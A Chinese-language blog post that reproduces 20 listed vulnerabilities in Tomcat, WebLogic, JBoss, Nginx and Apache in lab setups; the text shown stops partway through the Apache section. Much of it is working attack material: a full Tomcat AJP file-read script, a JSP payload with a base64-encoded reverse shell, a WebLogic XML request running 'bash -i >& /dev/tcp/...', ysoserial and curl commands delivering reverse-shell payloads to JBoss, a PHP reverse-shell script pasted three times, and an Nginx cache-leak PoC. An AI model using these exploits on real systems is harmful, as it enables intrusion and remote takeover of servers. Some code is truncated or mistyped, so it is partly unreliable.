常见中间件漏洞复现

常见中间件漏洞复现,第1张

常见中间件漏洞复现

目录
    • Tomcat
      • 1. Tomcat 文件上传(CVE-2017-12615)
      • 2. Tomcat 代码执行 (CVE-2020-1938)
      • 3. Tomcat弱口令登录获取后台
    • Weblogic
      • 4. Weblogic反序列化漏洞获取服务器权限(CVE-2018-10271)
      • 5. Weblogic反序列化漏洞实现反dshel(CVE-2018-2628)
      • 6. Weblogic任意文件上传漏洞(CVE-2018-2894)
      • 7. Weblogic weak password
    • Jboss
      • 8. Jboss反序列化命令执行(CVE-2017-12149)
      • 9. Jboss反序列化(CVE-2017-7504)
    • Nginx
      • 10. Nginx文件名逻辑漏洞(CVE-2013-4547)
      • 11. Nginx越界读取缓存(CVE-2017-7529)
      • 12. Nginx配置错误(insecure-configuration)
      • 13. Nginx解析漏洞(nginx_parsing_vulnerability)
    • Apache
      • 14. Apache多后缀解析漏洞(apache_parsing_vulnerability)
      • 15. Apache换行解析漏洞(CVE-2017-15715)
      • 16. Apache远程命令执行漏洞(ssi-rce)
      • 17. Apache htaccess文件上传漏洞
      • 18. Apache、Nginx和IIS等.user.ini文件上传漏洞
    • IIS
      • 19. IIS 6.X解析漏洞
      • 20. IIS 7.X解析漏洞

Tomcat 1. Tomcat 文件上传(CVE-2017-12615)
  • 漏洞环境:线上环境 vulfocus
    漏洞的利用环境是Windows+Tomcat 7.0.x+配置文件readonly=false
    因为Tomcat将readonly设置为flase的时候,同时就开启了对PUT方法的支持

  • 影响版本:Tomcat 7.0.0 - 7.0.81

  • 漏洞原理:
    org.apache.jasper.servlet.JspServlet:默认处理jsp,jspx文件请求,不存在PUT上传逻辑,无法处理PUT请求
    org.apache.catalina.servlets.DefaultServlet:默认处理静态文件(除jsp,jspx之外的文件),存在PUT上传处理逻辑,可以处理PUT请求。
    所以我们即使可以PUT一个文件到服务器但也无法直接PUT以jsp,jspx结尾文件,因为这些这些后缀的文件都是交由JspServlet处理的,它没法处理PUT请求。
    但是当我们利用Windows特性以下面两种方式上传文件时,tomcat并不认为其是jsp文件从而交由DefaultServlet处理,从而成功创建jsp文件。

方法一:利用PUT方法上传一句话木马,给后缀后加“/”
冰蝎连接,连接成功
查看flag
方法二:
给后缀后加%20进行绕过
方法三:
给后缀后加::$DATA


2. Tomcat 代码执行 (CVE-2020-1938)
  • 漏洞环境:
    拉取镜像
docker pull duonghuuphuc/tomcat-8.5.32

运行镜像并映射端口:

docker run -d -p 8080:8080 -p 8009:8009 duonghuuphuc/tomcat-8.5.32

查看是否运行成功

docker ps

  • 影响版本
    Apache Tomcat 6
    Apache Tomcat 7 < 7.0.100
    Apache Tomcat 8 < 8.5.51
    Apache Tomcat 9 < 9.0.31

  • 漏洞原理:

  • 漏洞复现:

  1. nmap扫描靶机是否开启成功,以及端口开放的服务
  2. 使用大佬的POC
#!/usr/bin/env python
#CNVD-2020-10487  Tomcat-Ajp lfi
#by ydhcui
import struct

# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
        if s is None:
                return struct.pack(">h", -1)
        l = len(s)
        return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
        size = struct.calcsize(fmt)
        buf = stream.read(size)
        return struct.unpack(fmt, buf)
def unpack_string(stream):
        size, = unpack(stream, ">h")
        if size == -1: # null string
                return None
        res, = unpack(stream, "%ds" % size)
        stream.read(1) # 
        return res
class NotFoundException(Exception):
        pass
class AjpBodyRequest(object):
        # server == web server, container == servlet
        SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
        MAX_REQUEST_LENGTH = 8186
        def __init__(self, data_stream, data_len, data_direction=None):
                self.data_stream = data_stream
                self.data_len = data_len
                self.data_direction = data_direction
        def serialize(self):
                data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
                if len(data) == 0:
                        return struct.pack(">bbH", 0x12, 0x34, 0x00)
                else:
                        res = struct.pack(">H", len(data))
                        res += data
                if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
                        header = struct.pack(">bbH", 0x12, 0x34, len(res))
                else:
                        header = struct.pack(">bbH", 0x41, 0x42, len(res))
                return header + res
        def send_and_receive(self, socket, stream):
                while True:
                        data = self.serialize()
                        socket.send(data)
                        r = AjpResponse.receive(stream)
                        while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
                                r = AjpResponse.receive(stream)

                        if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
                                break
class AjpForwardRequest(object):
        _, OPTIONS, GET, HEAD, POST, PUT, DELETe, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, baseLINE_CONTROL, MKACTIVITY = range(28)
        REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
        # server == web server, container == servlet
        SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
        COMMON_HEADERS = ["SC_REQ_ACCEPT",
                "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
                "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_cookie", "SC_REQ_cookie2",
                "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
        ]
        ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
        def __init__(self, data_direction=None):
                self.prefix_code = 0x02
                self.method = None
                self.protocol = None
                self.req_uri = None
                self.remote_addr = None
                self.remote_host = None
                self.server_name = None
                self.server_port = None
                self.is_ssl = None
                self.num_headers = None
                self.request_headers = None
                self.attributes = None
                self.data_direction = data_direction
        def pack_headers(self):
                self.num_headers = len(self.request_headers)
                res = ""
                res = struct.pack(">h", self.num_headers)
                for h_name in self.request_headers:
                        if h_name.startswith("SC_REQ"):
                                code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
                                res += struct.pack("BB", 0xA0, code)
                        else:
                                res += pack_string(h_name)

                        res += pack_string(self.request_headers[h_name])
                return res

        def pack_attributes(self):
                res = b""
                for attr in self.attributes:
                        a_name = attr['name']
                        code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
                        res += struct.pack("b", code)
                        if a_name == "req_attribute":
                                aa_name, a_value = attr['value']
                                res += pack_string(aa_name)
                                res += pack_string(a_value)
                        else:
                                res += pack_string(attr['value'])
                res += struct.pack("B", 0xFF)
                return res
        def serialize(self):
                res = ""
                res = struct.pack("bb", self.prefix_code, self.method)
                res += pack_string(self.protocol)
                res += pack_string(self.req_uri)
                res += pack_string(self.remote_addr)
                res += pack_string(self.remote_host)
                res += pack_string(self.server_name)
                res += struct.pack(">h", self.server_port)
                res += struct.pack("?", self.is_ssl)
                res += self.pack_headers()
                res += self.pack_attributes()
                if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
                        header = struct.pack(">bbh", 0x12, 0x34, len(res))
                else:
                        header = struct.pack(">bbh", 0x41, 0x42, len(res))
                return header + res
        def parse(self, raw_packet):
                stream = StringIO(raw_packet)
                self.magic1, self.magic2, data_len = unpack(stream, "bbH")
                self.prefix_code, self.method = unpack(stream, "bb")
                self.protocol = unpack_string(stream)
                self.req_uri = unpack_string(stream)
                self.remote_addr = unpack_string(stream)
                self.remote_host = unpack_string(stream)
                self.server_name = unpack_string(stream)
                self.server_port = unpack(stream, ">h")
                self.is_ssl = unpack(stream, "?")
                self.num_headers, = unpack(stream, ">H")
                self.request_headers = {}
                for i in range(self.num_headers):
                        code, = unpack(stream, ">H")
                        if code > 0xA000:
                                h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
                        else:
                                h_name = unpack(stream, "%ds" % code)
                                stream.read(1) # 
                        h_value = unpack_string(stream)
                        self.request_headers[h_name] = h_value
        def send_and_receive(self, socket, stream, save_cookies=False):
                res = []
                i = socket.sendall(self.serialize())
                if self.method == AjpForwardRequest.POST:
                        return res

                r = AjpResponse.receive(stream)
                assert r.prefix_code == AjpResponse.SEND_HEADERS
                res.append(r)
                if save_cookies and 'Set-cookie' in r.response_headers:
                        self.headers['SC_REQ_cookie'] = r.response_headers['Set-cookie']

                # read body chunks and end response packets
                while True:
                        r = AjpResponse.receive(stream)
                        res.append(r)
                        if r.prefix_code == AjpResponse.END_RESPONSE:
                                break
                        elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
                                continue
                        else:
                                raise NotImplementedError
                                break

                return res

class AjpResponse(object):
        _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
        COMMON_SEND_HEADERS = [
                        "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
                        "Location", "Set-cookie", "Set-cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
                        ]
        def parse(self, stream):
                # read headers
                self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")

                if self.prefix_code == AjpResponse.SEND_HEADERS:
                        self.parse_send_headers(stream)
                elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
                        self.parse_send_body_chunk(stream)
                elif self.prefix_code == AjpResponse.END_RESPONSE:
                        self.parse_end_response(stream)
                elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
                        self.parse_get_body_chunk(stream)
                else:
                        raise NotImplementedError

        def parse_send_headers(self, stream):
                self.http_status_code, = unpack(stream, ">H")
                self.http_status_msg = unpack_string(stream)
                self.num_headers, = unpack(stream, ">H")
                self.response_headers = {}
                for i in range(self.num_headers):
                        code, = unpack(stream, ">H")
                        if code <= 0xA000: # custom header
                                h_name, = unpack(stream, "%ds" % code)
                                stream.read(1) # 
                                h_value = unpack_string(stream)
                        else:
                                h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
                                h_value = unpack_string(stream)
                        self.response_headers[h_name] = h_value

        def parse_send_body_chunk(self, stream):
                self.data_length, = unpack(stream, ">H")
                self.data = stream.read(self.data_length+1)

        def parse_end_response(self, stream):
                self.reuse, = unpack(stream, "b")

        def parse_get_body_chunk(self, stream):
                rlen, = unpack(stream, ">H")
                return rlen

        @staticmethod
        def receive(stream):
                r = AjpResponse()
                r.parse(stream)
                return r

import socket

def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
        fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
        fr.method = method
        fr.protocol = "HTTP/1.1"
        fr.req_uri = req_uri
        fr.remote_addr = target_host
        fr.remote_host = None
        fr.server_name = target_host
        fr.server_port = 80
        fr.request_headers = {
                'SC_REQ_ACCEPT': 'text/html',
                'SC_REQ_CONNECTION': 'keep-alive',
                'SC_REQ_CONTENT_LENGTH': '0',
                'SC_REQ_HOST': target_host,
                'SC_REQ_USER_AGENT': 'Mozilla',
                'Accept-Encoding': 'gzip, deflate, sdch',
                'Accept-Language': 'en-US,en;q=0.5',
                'Upgrade-Insecure-Requests': '1',
                'Cache-Control': 'max-age=0'
        }
        fr.is_ssl = False
        fr.attributes = []
        return fr

class Tomcat(object):
        def __init__(self, target_host, target_port):
                self.target_host = target_host
                self.target_port = target_port

                self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                self.socket.connect((target_host, target_port))
                self.stream = self.socket.makefile("rb", bufsize=0)

        def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
                self.req_uri = req_uri
                self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
                print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
                if user is not None and password is not None:
                        self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('n', '')
                for h in headers:
                        self.forward_request.request_headers[h] = headers[h]
                for a in attributes:
                        self.forward_request.attributes.append(a)
                responses = self.forward_request.send_and_receive(self.socket, self.stream)
                if len(responses) == 0:
                        return None, None
                snd_hdrs_res = responses[0]
                data_res = responses[1:-1]
                if len(data_res) == 0:
                        print("No data in response. Headers:%sn" % snd_hdrs_res.response_headers)
                return snd_hdrs_res, data_res

'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''

import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_,data = t.perform_request('/asdf',attributes=[
    {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
    {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
    {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
    ])
print('----------------------------')
print("".join([d.data for d in data]))

  1. 存在漏洞

  2. 向web目录写入文件
    可以在这里读取web目录下的文件
    反dshell:
    查看容器id

docker inspect -f '{{.ID}}' 1938

将反dshell脚本复制到容器的ROOT目录下

<%
        java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaC1pPiYgL2Rldi90Y3AvMTkyLjE2OC4zMC4xODkvODg4OCAwPiYx}|{base64,-d}|{bash,-i}").getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("
");
        while((a=in.read(b))≠-1{
                out.println(new String(b));
        }
        out.priny("
"); %>

最后可能环境问题,没能复现成功,可以看这篇博客AJP漏洞复现

  • 漏洞修复:

    1.临时禁用AJP协议端口,在conf/server.xml配置文件中注释掉
    2.更新tomcat版本

3. Tomcat弱口令登录获取后台

爆破tomcat后台密码:

  1. 登录抓包

可以看到登录的用户名及密码经过base64加密

2. intruder进行密码爆破
指定爆破点

payload类型:Custom iterator
添加爆破字典,这里用的Fuzz(可以到github去下载)
位置1:用户名字典
位置2:连接符
位置3:密码字典
根据数据包进行base64加密:
不进行url编码
生产环境需要设置线程等选项,进行爆破

具体复现可以查看前面的复现–tomcat漏洞复现

Weblogic 4. Weblogic反序列化漏洞获取服务器权限(CVE-2018-10271)

访问url:

http://192.168.30.209:7001/wls-wsat/CoordinatorPortType


先用WeblogicScan工具进行扫描

抓包构造payload(这里直接拿的大佬的payload)

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.30.209:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 639

 





/bin/bash


-c


bash -i >& /dev/tcp/192.168.30.182/9999 0>&1









成功反dshell

5. Weblogic反序列化漏洞实现反dshel(CVE-2018-2628)

可以下载CVE-2018-2628工具包进行复现漏洞

  • 检测环境是否存在CVE-2018-2628漏洞:
    修改目标url


    此处存在CVE-2018-2628漏洞

  • 启动JRMP Server:
    [command] : 需要执行的命令
    [listen port] : JRMP Server监听的端口。

java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener [listen port] Jdk7u21 [command]
  • 执行反dshell命令
    这里注意:由于函数Runtime.getRuntime().exec()不能使用管道符等bash需要的方法,所以我们需要进行一次编码:
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -i >& /dev/tcp/192.168.30.182/9999 0>&1'
#编码后的命令:
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMwLjE4Mi85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}'

JRMP Server正在监听8888端口

  • 生成payload
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.30.182:8888 | xxd -p | tr -d $'n' && echo

  • 替换weblogic_poc.py中的payload及ip

  • 运行脚本,成功反dshell

6. Weblogic任意文件上传漏洞(CVE-2018-2894)

这个漏洞在前面博客已经复现,点击此处查看

7. Weblogic weak password
  • Weblogic的密码采用AES加密,对称加密即可解密,秘钥(/security/SerializedSystemIni.dat)与密文(/config/config.xml)都保存在base_domain/目录下。SerializedSystemlni.dat文件为二进制文件,这里需要在burp中抓取,并保存成文件

    查看秘钥,秘钥保存在,并将秘钥保存为一个文件(右击Copy to file)

    查看密文,这里AES加密文件很杂,一定要找正确

  • 使用工具进行解密,破解成功,密码为:Oracle@123 用户名默认为weblogic

  • 后台上传webshell
    拿到用户名及密码,但是登不上去,很尴尬(环境问题)

    后面的步骤找了一个大佬的博客

    步骤:域结构-部署-安装-上传文件-将此部署安装为应用程序

Jboss 8. Jboss反序列化命令执行(CVE-2017-12149)
  • 漏洞原理:
    反序列化远程命令执行漏洞,在JBoss的HttpInvoker组件中的 ReadonlyAccessFilter 过滤器中,doFilter方法会对来自客户端的序列化数据进行反序列化,攻击者可以构造恶意的序列化数据进行代码执行

  • 利用工具:JavaDeserH2HC

  • 进行配置,并生成payload

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.30.182:4444

  • 将payload发送至invoker/readonly/目录下
curl http://192.168.30.209:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser


反dshell成功

9. Jboss反序列化(CVE-2017-7504)
  • 漏洞原理:JBoss AS 4.x及之前版本,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,攻击者可以构造的序列化数据经反序列化后进行代码执行,漏洞点出现在/jbossmq-httpil/HTTPServerILServlet请求中,借助ysoserial的CommonsCollections5利用链来复现

  • 生成Payload
    利用jar包生成一个success格式的payload

java -jar ysoserial.jar CommonsCollections5 "bash -i >& /dev/tcp/192.168.30.182/7777 0>&1" > poc.ser
#编码后:
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMwLjE4Mi83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser

  • 利用curl工具向jbossmq-httpil/HTTPServerILServlet 发送一个poc.ser请求
curl http://192.168.30.209:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc.ser


成功反dshell

Nginx 10. Nginx文件名逻辑漏洞(CVE-2013-4547)
  • 漏洞原理:
    错误地解析了请求的URI,nginx匹配到.php后缀文件会发送给fastcgi进行解析,常见写法:
location ~ .php$ {
    include        fastcgi_params;

    fastcgi_pass   127.0.0.1:9000;
    fastcgi_index  index.php;
    fastcgi_param  script_FILENAME  /var/www/html$fastcgi_script_name;
    fastcgi_param  document_ROOT /var/www/html;
}

正常情况(关闭pathinfo的情况),Nginx遇到.php后缀文件,都会交给fastcig进行处理,但是在CVE-2013-4547漏洞的存在下,我们请求文件phpinfo.jpg[0x20][0x00].php,这个URI匹配到正则表达.php$,会被当做php文件处理,但是在fastcgi处理时,00截断后面的字符,会对文件phpinfo.jpg[0x20]进行解析,从而造成Nginx解析漏洞

  • 通过验证,此处为黑名单过滤,过滤了php,php3,php5,phtml

  • 上传时给文件名后面加空格,上传成功,并返回上传成功的路径

  • 访问文件phpinfo.jpg[0x20][0x00].php时,上传的phpinfo().jpg[0x20]会被当做php文件进行解析,注意:这里可以利用brup选中[0x20]后面的16进制,改为[0x00]

  • 上传反dshell脚本,后缀为jpg[0x20]

反dshell脚本

 array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
        printit("ERROR: Can't spawn shell");
        exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
        // Check for end of TCP connection
        if (feof($sock)) {
                printit("ERROR: Shell connection terminated");
                break;
        }

        // Check for end of STDOUT
        if (feof($pipes[1])) {
                printit("ERROR: Shell process terminated");
                break;
        }

        // Wait until a command is end down $sock, or some
        // command output is available on STDOUT or STDERR
        $read_a = array($sock, $pipes[1], $pipes[2]);
        $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

        // If we can read from the TCP socket, send
        // data to process's STDIN
        if (in_array($sock, $read_a)) {
                if ($debug) printit("SOCK READ");
                $input = fread($sock, $chunk_size);
                if ($debug) printit("SOCK: $input");
                fwrite($pipes[0], $input);
        }

        // If we can read from the process's STDOUT
        // send data down tcp connection
        if (in_array($pipes[1], $read_a)) {
                if ($debug) printit("STDOUT READ");
                $input = fread($pipes[1], $chunk_size);
                if ($debug) printit("STDOUT: $input");
                fwrite($sock, $input);
        }

        // If we can read from the process's STDERR
        // send data down tcp connection
        if (in_array($pipes[2], $read_a)) {
                if ($debug) printit("STDERR READ");
                $input = fread($pipes[2], $chunk_size);
                if ($debug) printit("STDERR: $input");
                fwrite($sock, $input);
        }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
        if (!$daemon) {
                print "$stringn";
        }
}

?>
  • 访问文件shell.jpg[0x20][0x00].php

    成功反dshell
11. Nginx越界读取缓存(CVE-2017-7529)
  • 漏洞介绍:
    Nginx进行反向代理时,通常会对一些文件进行缓存,特别是静态文件。在缓存文件中,具有文件头,HTTP返回包头,HTTP返回包体。当用户再次对服务器发起请求,服务器会直接将缓存文件发送给客户端

  • 漏洞复现:
    访问URL:http://192.168.30.209:8080/ 实际是访问的nginx的8001端口

    使用大佬的POC

#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
    print("%s url" % (sys.argv[0]))
    print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
    sys.exit()

headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
    n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)
print(r.text)
  • 运行脚本,越界读取缓存文件
12. Nginx配置错误(insecure-configuration)

可以看出,docker容器开启后,这里开启了8080-8082三个端口,这三个端口分别对应三个配置不当漏洞

漏洞一:CRLF注入漏洞

漏洞二:目录穿越漏洞

漏洞三:add_header被覆盖

漏洞一:CRLF注入

  • 原理:CRLF:CR为回车符(%0d),LF为换行符(%0a)。HTTP的规范中,行以CRLF结束,当遇见CRLF时后面的数据就会开启另一行
  • 构造语句,会将Set-cookie: true=1写到下一行,可以看到回包中有我们写入的数据
  • 防御:过滤 r、n之类的行结束符,以防止用户输入的数据污染HTTP头

漏洞二:目录穿越漏洞

  • 经过对漏洞一的复现后,发现环境好像被搞坏了,也可是别的问题,进不去了,待后续配置环境,后面的复现看这位大佬博客
13. Nginx解析漏洞(nginx_parsing_vulnerability)
  • 漏洞原理:配置错误的情况,与nginx、php版本无关,配置项: cgi.fix_pathinfo=1,security.limit_extensions=允许解析其他格式为php,则存在解析漏洞。Nginx的解析流程:当nginx接收到/phpinfo.jpg/a.php文件时,首先判断后缀为php,则交给php处理,但是发现处理a.php时,a.php文件不存在,所以就删除文件a.php,然后去解析文件phpinfo.jpg。当然想要将phpinfo.jpg文件进行php解析,那么配置项就需要满足前面说的那种配置

  • 上传假图片文件,回包中可以看到上传后的路径及重命名的图片名

    正常访问上传的文件

    访问上传的假图片时,给后面加/a.php,此时会把这个假图片进行php解析
    以下链接会被解析为php格式

http://192.168.30.209/uploadfiles/b5f7a062d84869fe4f3af35b79fca50c.jpg/a.php

  • 上传反dshell脚本
 array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
        printit("ERROR: Can't spawn shell");
        exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
        // Check for end of TCP connection
        if (feof($sock)) {
                printit("ERROR: Shell connection terminated");
                break;
        }

        // Check for end of STDOUT
        if (feof($pipes[1])) {
                printit("ERROR: Shell process terminated");
                break;
        }

        // Wait until a command is end down $sock, or some
        // command output is available on STDOUT or STDERR
        $read_a = array($sock, $pipes[1], $pipes[2]);
        $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

        // If we can read from the TCP socket, send
        // data to process's STDIN
        if (in_array($sock, $read_a)) {
                if ($debug) printit("SOCK READ");
                $input = fread($sock, $chunk_size);
                if ($debug) printit("SOCK: $input");
                fwrite($pipes[0], $input);
        }

        // If we can read from the process's STDOUT
        // send data down tcp connection
        if (in_array($pipes[1], $read_a)) {
                if ($debug) printit("STDOUT READ");
                $input = fread($pipes[1], $chunk_size);
                if ($debug) printit("STDOUT: $input");
                fwrite($sock, $input);
        }

        // If we can read from the process's STDERR
        // send data down tcp connection
        if (in_array($pipes[2], $read_a)) {
                if ($debug) printit("STDERR READ");
                $input = fread($pipes[2], $chunk_size);
                if ($debug) printit("STDERR: $input");
                fwrite($sock, $input);
        }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
        if (!$daemon) {
                print "$stringn";
        }
}

?>


kali进行端口监听,访问上传的文件,对上传的文件进行php解析,

  • 成功反dshell
  • 漏洞修复:设置security.limit_extensions=.php,重启服务
Apache 14. Apache多后缀解析漏洞(apache_parsing_vulnerability)
  • 漏洞原理:Apache httpd支持一个文件多后缀,这不同于windows *** 作系统,windows对文件的识别是看最后一个“.”后面的格式,假设一个多后缀文件phpinfo.php,jpg,Apache对多文件后缀的识别方式是从后往前进行识别,先识别.jpg后缀文件,但是并不能被识别,所以往前去识别php后缀,以此类推,如果这些后缀都无法识别,那么会将文件当做默认文件类型去处理。文件/etc/mime.types规定了Apache可以识别的后缀,下面是文件中部分后缀

  • 实战中一般使用rar,owf文件进行利用,因为Apache也可以识别jpg格式,很有可能会将文件当做jpg文件进行解析

  • 主页为文件上传页面

  • 直接上传php后缀文件,上传失败

  • 上传多后缀文件phpInfo.php.jpg,上传成功并返回上传路径

  • 访问上传的多后缀文件,此时发现被解析成了php文件

  • 上传反dshell脚本shell2.php.jpg

    一般上传时最好加上假图片头

 array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
        printit("ERROR: Can't spawn shell");
        exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
        // Check for end of TCP connection
        if (feof($sock)) {
                printit("ERROR: Shell connection terminated");
                break;
        }

        // Check for end of STDOUT
        if (feof($pipes[1])) {
                printit("ERROR: Shell process terminated");
                break;
        }

        // Wait until a command is end down $sock, or some
        // command output is available on STDOUT or STDERR
        $read_a = array($sock, $pipes[1], $pipes[2]);
        $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

        // If we can read from the TCP socket, send
        // data to process's STDIN
        if (in_array($sock, $read_a)) {
                if ($debug) printit("SOCK READ");
                $input = fread($sock, $chunk_size);
                if ($debug) printit("SOCK: $input");
                fwrite($pipes[0], $input);
        }

        // If we can read from the process's STDOUT
        // send data down tcp connection
        if (in_array($pipes[1], $read_a)) {
                if ($debug) printit("STDOUT READ");
                $input = fread($pipes[1], $chunk_size);
                if ($debug) printit("STDOUT: $input");
                fwrite($sock, $input);
        }

        // If we can read from the process's STDERR
        // send data down tcp connection
        if (in_array($pipes[2], $read_a)) {
                if ($debug) printit("STDERR READ");
                $input = fread($pipes[2], $chunk_size);
                if ($debug) printit("STDERR: $input");
                fwrite($sock, $input);
        }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
        if (!$daemon) {
                print "$stringn";
        }
}

?>
  • php解析上传的shell2.php.jpg

  • 成功反dshell

